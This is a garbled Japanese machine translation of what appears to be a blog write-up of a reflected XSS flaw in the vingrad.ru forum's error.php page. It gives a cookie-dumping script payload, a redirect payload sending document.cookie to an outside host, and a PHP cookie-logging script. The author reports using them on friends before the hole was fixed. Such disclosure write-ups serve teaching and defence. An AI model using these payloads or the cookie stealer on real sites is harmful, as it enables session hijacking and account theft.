
しかし、プログラマ専用の最大のRunetリソースの1つの状況はどうでしょうか。 誰が気にする-ようこそ 。
それがすべて始まった方法
庭には2009年9月でした。 私は環境に優しく、気の利いたウェブ開発者で、PHPセクションの共同モデレーターのポストを受け取りました。 象がチャンスを探っていたので幸せでしたが、突然、私は狂気の思考に立ち会いました。「フォーラムで脆弱性をチェックするべきですか?」
SQLの脆弱性は検出できませんでしたが、XSSが見つかりました。
XSS-それは何で、何と一緒に食べますか?!
XSS攻撃は、Web上の対話型情報システムの脆弱性の一種です。 XSSは、何らかの理由でユーザースクリプトがサーバーによって生成されたページに分類されると発生します。 このような攻撃の特徴は、サーバーを直接攻撃する代わりに、クライアントを攻撃する手段として脆弱なサーバーを使用することです。
それらは条件付きで2つのタイプに分けられます:
- active 、サーバーに保存され、感染したサイトのページが開かれたときにトリガーされます。
- passiveは、脆弱なサイトのサーバーには保存されず、被害者のブラウザで自動的に実行することはできません。 トリガーするには、追加のアクションが必要です(たとえば、特別な形式のリンクをクリックする)。
検索フォーラム
N時間にわたるさまざまな要求のためのエンジンの調査と苦痛の後、私の手は落ちました。 そして、アイデアはそれほどバラ色ではないように見え始めました。 そして、クレイジーな考え2が来ました-「フォーラムがそれ自身を貸さないならば、あなた
それでも、フォーラムはInvision Power Boardに基づいており、すべてのパッチはそれまでに配布されました。
フレンドリーなリソースを探索する(* .vingrad.ru)
私の注意は、知識ベース、つまり検索フィールドに惹かれましたが、それには十分な理由があります。
お気に入りの<script>アラート( 'XSS'); </ script>コンストラクトをフィールドに追加したが、何も受け取れなかった。 パラメーターを少し遊んだ後、エラーメッセージを含むerror.phpスクリプトにリダイレクトされ、テキストは通常のGETで送信されました。 利益!
手首を軽く押すと、アドレスバーのデータが即座にhttpに変わりました:// <subdomain> .vingrad.ru / error.php?
あなたはあなた自身が何が起こったのか推測したと思いますが、それでも:

約10分間、私は馬鹿のように画面に微笑んで、永遠について考えました。
「利点」を抽出することは可能ですか?
もちろん、私は望ん
しかし、承認フォームは私を混乱させましたが、私はフォーラムで承認されています。 これは、エンドツーエンドの認証が機能しないことを意味し、何らかの方法でユーザーに強制的にログインさせてから、アドレスにアクセスする必要があります。 ソーシャルエンジニアリングでは、私は完全にゼロなので、他の方法を探しています。
Cookieセットを一目見れば十分です。

脆弱性が悪用される可能性があります(すべてのサブドメインにクッキーが設定されました-* .vingrad.ru)。
リクエストをこれに変更します:
http:// <subdomain> .vingrad.ru / error.php?msg = <script> document.write(document.cookie.substring(0、document.cookie.length))</ script>
そして、待望のデータを取得します。
PHPSESSID = ag08ccg6fsdf5fdgsdf34a34s536df4f;
clickedFolderFrameless =;
PHPSESSID = eccf4sdasbefea3c8esgdf27997d;
pforumsession_id = 3ds44554sgg6754f1dd73f27ab7ec;
pforummember_id = 007;
pforumpass_hash = u3457a1259a39asb2ad4c77e682;
エクスプロイトの脆弱性
ユーザーCookieを慎重にファイルに保存する小さなPHPスクリプト:
<?php if( isset( $_GET['q'] ) ) { $fopen = fopen( time().'.cookie', 'w' ); fwrite( $fopen, $_GET['q'] ); fclose( $fopen ); } header('Location: http://forum.vingrad.ru/forum/act-idx.html'); ?>
最後に変更されたリクエスト:
http:// <サブドメイン> .vingrad.ru / error.php?msg = <script> document.location.href = 'http://www.example.com/forum.php?vingrad ='%2Bescape(document。 cookie.substring(0、document.cookie.length))</ script>
数人の友人のCookieの収集が許可されています
奇跡はありません。実験のすべての参加者にリンクが送信され、参加者はそれを通過しました。
終わり
当然、管理者はこれについて通知され、彼と一緒にこの脆弱性をクローズしました。
すべての犠牲者に謝罪がもたらされました。